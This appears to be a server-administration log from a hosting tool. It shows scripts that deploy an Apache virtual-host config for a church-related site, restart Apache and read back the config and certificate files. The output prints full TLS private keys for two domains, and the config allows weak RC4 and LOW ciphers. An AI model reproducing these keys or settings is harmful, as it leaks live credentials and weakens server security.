ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-d
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteRule ^(.*) %{REQUEST_URI} [L]
# if the cookie is missing, redirect to login site, with bounce parameter
RewriteCond %{HTTP_COOKIE} !\bauth=\b
RewriteRule ^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
ProxyRequests off
ProxyVia on
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://192.168.1.8:80/$1 [P,L]
ProxyPass / http://192.168.1.8/
ProxyPassReverse / http://192.168.1.8/
</VirtualHost>
2025-08-30 06:01:13:
PUT: /tmp/pkp445500
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_mixer_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-d
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteRule ^(.*) %{REQUEST_URI} [L]
# if the cookie is missing, redirect to login site, with bounce parameter
RewriteCond %{HTTP_COOKIE} !\bauth=\b
RewriteRule ^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
ProxyRequests off
ProxyVia on
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://192.168.1.8:80/$1 [P,L]
ProxyPass / http://192.168.1.8/
ProxyPassReverse / http://192.168.1.8/
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf= 1'
fi
2025-08-30 06:01:13:
chmod 755 /tmp/pkp445500; /tmp/pkp445500; rm /tmp/pkp445500
2025-08-30 06:01:13:
2025-08-30 06:01:13:
PUT: /tmp/pkp338069
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-30 06:01:14:
chmod 755 /tmp/pkp338069; /tmp/pkp338069; rm /tmp/pkp338069
2025-08-30 06:01:14:
.
2025-08-30 06:01:14: Establishing a connection
2025-08-30 06:01:15:
PUT: /tmp/pkp746671
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-30 06:01:16:
chmod 755 /tmp/pkp746671; /tmp/pkp746671; rm /tmp/pkp746671
2025-08-30 06:01:16:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-08-30 06:01:16:
PUT: /tmp/pkp481307
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:01:17:
chmod 755 /tmp/pkp481307; /tmp/pkp481307; rm /tmp/pkp481307
2025-08-30 06:01:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 2161
<VirtualHost *:80>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-d
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteRule ^(.*) %{REQUEST_URI} [L]
# if the cookie is missing, redirect to login site, with bounce parameter
RewriteCond %{HTTP_COOKIE} !\bauth=\b
RewriteRule ^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
ProxyRequests off
ProxyVia on
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://192.168.1.8:80/$1 [P,L]
ProxyPass / http://192.168.1.8/
ProxyPassReverse / http://192.168.1.8/
</VirtualHost>
2025-08-30 06:01:17:
PUT: /tmp/pkp943061
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:01:18:
chmod 755 /tmp/pkp943061; /tmp/pkp943061; rm /tmp/pkp943061
2025-08-30 06:01:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7 5374
43:b5:94:ac:57:b5:7b:ab:e2:79:8a:40:e9:45:cc:ba
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBgUyjzAQeP1QQJ/BTK+so8UnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMjM5WhcNMjUxMTI4MDUwMjM4WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0dmR0QyCM3Xhtvl28Ix9pO8HrGjWzhHTCgx09WV2lhIKcqgg
KrrOPwgUwYSodDeunaBkngBezLJrkGOKPTkMDbT/ocmCNAPhiEP98/x3hWmjCTKy
kaUmuWJI4XTLrpQTGH8j0Tx2qn5NJebnN6RjIBffGiy6UZoUbFg3DQ3Rsn3mMQAv
3B6zFTLKELsDYEblGFLxOj/Whtox2240QpKp9OaWJH6jFu7v8PVs+yp5/uac7Paa
ODuHEVNiqQsIca2BjA35rSFEHDf93QVvIkcxIfz7/1jSbyquA3JuiUaFljyQtwaf
H/MjMFKyDaYMwaSSLB59JgxV+60nY/4OwvfjlQIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSzbDH+UUkBiJITRW/mVgekYnrsgjAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy80MC5jcmwwggEEBgorBgEE
AdZ5AgQCBIH1BIHyAPAAdgDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/
4AAAAZj5kL6eAAAEAwBHMEUCIQCg3t/UnXFhHKZX/bxSz1VDqhj5YJ+CSG20Ao9I
5MaZXwIgEuqYtkuKXbPNIR4Ox3EY9w7QZyhU9sqaWeVTYDt4i20AdgDM+w9qhXEJ
Zf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kL6qAAAEAwBHMEUCIQDb7Ba+
fKIPGI+MoJPrgIMlGMj5WlqeIfY41NhDubWW/AIgENGc1IijeQXwKi9fXjQ53TtP
j/bVEd9CY9zZuRMSPoIwDQYJKoZIhvcNAQELBQADggEBAM0vnEJ75vnh/qqe0ffK
wXinaVACNVpF2sgUBpTH8lj4qtYuU98znJR68P3UiH95hNyQ606oVCF/dEaGNwEW
7ib278et1oxoBEUNk+/RC7DDJMmAVk+OBa9dr7W2KN/4t9RcTzjTZExcF3mc7ckI
IRiz7D7NQbcWwwDew9kGLuLAKi/zzwp31YwmvT+DIgi/rRnoiMkEsva05ENd4xYW
5ML8LJ7c2m+a38Cu6d9k7RBS6yVHEk+jYKlfUNsfohnmW1jRRVxwIi6kl4k8qqF4
ndbUsZe4KkfO9agqfpuJU7PhG5mD1Qn9LcGVabgzpAmSX7V4G8bgyeA1XmFFYeRw
E+o=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDR2ZHRDIIzdeG2
+XbwjH2k7wesaNbOEdMKDHT1ZXaWEgpyqCAqus4/CBTBhKh0N66doGSeAF7MsmuQ
Y4o9OQwNtP+hyYI0A+GIQ/3z/HeFaaMJMrKRpSa5YkjhdMuulBMYfyPRPHaqfk0l
5uc3pGMgF98aLLpRmhRsWDcNDdGyfeYxAC/cHrMVMsoQuwNgRuUYUvE6P9aG2jHb
bjRCkqn05pYkfqMW7u/w9Wz7Knn+5pzs9po4O4cRU2KpCwhxrYGMDfmtIUQcN/3d
BW8iRzEh/Pv/WNJvKq4Dcm6JRoWWPJC3Bp8f8yMwUrINpgzBpJIsHn0mDFX7rSdj
/g7C9+OVAgMBAAECggEBAI0kJ8YSArR38dNuYEgURiGbv25/qRI6vNXCYRv4HVV8
VtidKd1zfWq5lbQ+9EoOdXyBN4tptlk5G82mlYDuEKRbe6Amd1Ni1Nsg1/q1cPIj
hcuW9LGvAaeoalpxgtktsNZGFSIS58FuZ5c5gYRUJXOdeqoRMVPXLStd/dDi3YqN
mBnbHV4uRc/5ZvC8vrjNnfLl3ZOyZ53509VjRv2XfuZdEjjPcDhl2ESrE5K3YuzF
WyWfg0oRb8M5joOPqvFu1pDLQ9QZbX7YXsDmnEwjtaEwZ4jE1omFpGrV2sTMc/nF
UNYPlBlAUMhb/A/MyqOqHYIRpK+a2HlbeyjILhzyurUCgYEA/jzl2ODiq5VGRGqG
K+fNj68liJyEvuz0Oef8ozcSlxEfTeFKukvvHmGPrq2MjcuNQOgpxDvzIeQqueXa
UPFG+DjQu9krfzh8YzAbiZpAMx6W+DBwD/kEW3WJ965+IU7f8wubKDoIKtji0jg/
r28r2yb9lu7//kn9omgwH/PpdScCgYEA003pqecc2nKQmPEZZzcToTL1Dx8F7djV
mPyzVlLPlbvE3OOyO89ZUubTSyvltWXPng8QfazaCwZMGwAT5s+aJmLqU4733jiv
Am9pybsoo01z9f2W/BKFvoYFAYFRn9v1EOA3Ng43J/AfzObM/aX7kAgQ/MnQGSeu
mU2soznYLuMCgYAEltbTTmPpEv28uGuJmVqVkGTODX078Q0Liot96r2UKoP1JO7z
Y/GCC+LLFWjnGliHZmlymF5wKy02Q9boBSLx0hy6d1YYqs1cAP9OQZGNGq1A96be
MvGIMRv3c5flRAY43enEFSAWnemiP8+ufAQ/pXmIYvIOBgnlB5puyTlamwKBgF7n
gIpB9jCbAhzfNNSp5RQiqfRXr7cLC6yB2x5rZTbQNfQsBHJeh7T3XXFGzw4xIxXP
mE2J5AjNlEMQPuAM4CRbivlqniNd/CSw26eyeucVs36JnlWrEAzpbrglV/7fsOsa
eVG7AsTaUb4a73kBIsKnDNIs5l1V+FJ8k4xgP5uXAoGBAMp+VK8nMm0wOZkihWSZ
aim6mTRyRR6hkUvspfeHsVsiiukdxuUK0IQic3RaaIMFXBGWq4utVEanmK9n4LS5
qZSLH0+mlNC62Nb5XDpXba/KNeH350qquwXuMO0ai+tLY/pLGqCw/eTvS2wLDoSu
GPMxjnHn58IAuv27weH74v2B
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-08-30 06:01:18: Establishing a connection
2025-08-30 06:01:19: Establishing a connection
2025-08-30 06:01:20:
PUT: /tmp/pkp676535
#!/bin/bash
if [ -d "/var/www/cygnus/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-30 06:01:21:
chmod 755 /tmp/pkp676535; /tmp/pkp676535; rm /tmp/pkp676535
2025-08-30 06:01:21:
0
2025-08-30 06:01:48: Establishing a connection
2025-08-30 06:01:49:
PUT: /tmp/pkp883485
#!/bin/bash
temp_file=$(mktemp)
TARGET=de5c0e727038623f544d9b5f10eaf734
cat > $temp_file <<'endmsg'
17:6d:f0:c2:b5:60:2b:ab:fa:4a:3a:5e:3f:2b:e6:37
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBlMD0bGmSpbdTLbqiDAfYmcdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMzE3WhcNMjUxMTI4MDUwMzE2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMoEiRuf/oFXzB97sk1X7zD+jVOk36wN8ONJt0ODJhHyGQ5j
cNqVLUlroGS47XwIxkDOi/mELbfCsFHkI8DL3+m8bcTQxfbHWat9xszjt6hO54nq
IpamJ6ZhZy32PF590ac/Bxz4+KoIppux8chhiaE6/0xGiZH0SrtuBCZS4dHzhKKf
xLfK/uZHJKlo6gHfgPH2Fwb0ZZ1eRBoG2ZynEZ5sY+ilPz60+pUNBVgbjg4coOFy
FjJEDre1joqcWsAKTrC131m2U3w/tWpkQY9SAt3JqqCEbOUcD8Yl+/OTDI/AsaDQ
akN7IEIu8B2XPyn3Ws3GFRRYdkgua580vF8ISP0CAwEAAaOCAiswggInMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUq1qH4aY5ZdxyNGhVsYn5VDlHULQwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzMwLmNybDCCAQUGCisG
AQQB1nkCBAIEgfYEgfMA8QB3AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idP
OoRUAAABmPmRVPYAAAQDAEgwRgIhAILykXeWtjFcvjKI5jAj7SW5QbBVII2LR/6c
RfllEfp8AiEAiHoTWivl8q/ekV2kASybEZwVIeLfl/mInCpn7IsTqhsAdgDM+w9q
hXEJZf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kVUVAAAEAwBHMEUCIQCc
CTjOAAUZpk7d8cjTdUaJEr/GMLyKcR/DH9aDEVfdwQIgGeUaNHvYgRFpDLbvNPvg
Br8QfymT3yQLlgVSUteWkNEwDQYJKoZIhvcNAQELBQADggEBAKRwkD0G2gu0GoIV
hRQKCO8COF3L0mG4Sj9eMaUZnPj0ykpa34tdFTjeb4Vw8eubfLzbL3FQo9kHI+YC
3D8Ah2BkqAOvMqEoLG7SuLs0w1UhMtuwzp4HyKu99ssTHHXepL7fhZF2m91K4mcQ
ywA4+FvjEG0ks++tvMM1W7uTMtz6kcoFgPLvXWwxMYDev3tT+Xk+tEINPysMPi3s
1C7B4g0BsVe5ANG4QV/fy/45yw+VjyMNUgMf7PhAwUWiCtRUzzzDvl90QVS3sYx8
UcVu26Bf9k9mr9DrkMXLaJfv6Zjaiv620M1JE1fqQLrz3Mumhzobw4FwxQAe0YvH
kqdnLgM=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDKBIkbn/6BV8wf
e7JNV+8w/o1TpN+sDfDjSbdDgyYR8hkOY3DalS1Ja6BkuO18CMZAzov5hC23wrBR
5CPAy9/pvG3E0MX2x1mrfcbM47eoTueJ6iKWpiemYWct9jxefdGnPwcc+PiqCKab
sfHIYYmhOv9MRomR9Eq7bgQmUuHR84Sin8S3yv7mRySpaOoB34Dx9hcG9GWdXkQa
BtmcpxGebGPopT8+tPqVDQVYG44OHKDhchYyRA63tY6KnFrACk6wtd9ZtlN8P7Vq
ZEGPUgLdyaqghGzlHA/GJfvzkwyPwLGg0GpDeyBCLvAdlz8p91rNxhUUWHZILmuf
NLxfCEj9AgMBAAECggEANjfTaHOfRa1/ni9/ohxomLioy3sjgLTZItck9VycehKE
wQTVRATne54EFSRAsJpWQwxsKtJbxsbctY3KPrM47C1jNIBnsRy9pzYBhfnTz7sl
jzEkiVQcrh3UKFS+zQltnDphOVhkvJXHyV+PqZzr6DbCUAFaaK6s4/LZ8EMsUkFT
gZUP/3OoMhzTroUk7ZyvbjyPUcYKCrhH9ZRnbNCfYir1BLuMC2b+litpf0c7vWa6
WR6zCRDAhUFyGYEu0pSs3/0uS5BXG8adpOTLh2xcV8xNGdd2Di/a1sXafFgQ0ERt
WWHtqMXlwGSnJpJmteiJrCgT5FPcVMQC/2UhcZG+zQKBgQD6mKduWXs4bDDjzgPx
DvPwTlUb9zeVDVcjA+Hv3lXGmRP/BdaX2oze2vOL9hqwP5R+4wJBy82yyTokOBRX
6bIf0z9xtbYMw4V8IQ8OZori5PA9PNOj0VPhkujvOLIUgL4S0B9Llgx1I6cKXbIj
ArYJcOYl5sncNddDw9TgSepxBwKBgQDOX7ea1w+q6feppQzeAxEZvoLfsa5KvK0v
0VbsJEk6GNQxQD0+Gra+OeNz15B9kBX/6MskhsbLKEdZOLUYqHJcLaSP5CX2d1LD
j9Qjc6Xmdvg9okRXS3+CXCfiNplX/1Tb8nRTKmABHiz3noreHgnbRYhqxPFJYvtz
bsuuoguo2wKBgAXaqRan2nwP8vhvaKIqAkLb4ZscpFzECgQUZCPRYtmX2+K6RTAY
9++A1+2uGyOA6LwqG3RkCXMixkvwT3FaUUHzEmlaoF0d+DFVKF/iv13bkU0s7ZjH
HBmJ8A0emvJlq4sO95wxbisSYSWZ2L5+orgHviimgpK1Y0j++yseLu7jAoGBAJNu
d/lrOGsueFq+acHVSQsuOcra4ZvMzKDDmahbh+C0SirhLJ9IcFLXgjGIx1WccMsA
oNd4XV5XaRlJVL7H3+MQTGbrY19/ASZqgu/Mt7E8Pr2xRcdjTTVw5qFJxiTCaPo0
bHvZYvqJdzBzF9v0c7AtLXaxOXrm9qIRfftFErVPAoGBAOfRdk+1hZARVjfz/Ci2
pJ8Ln+E8Vlfh94DWzAVv8PwttW/JrcSb3J8leISPfqXP+IEFAjF7SdEEZhZhrkdl
770doUZ6ciqN2I6lXHtMLgx0vHeoC+LnAFstSODd7pS9P+GhWGzxSwcLX5tlERyX
pA1FcO80X+uRZ02eXP/TAmtw
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
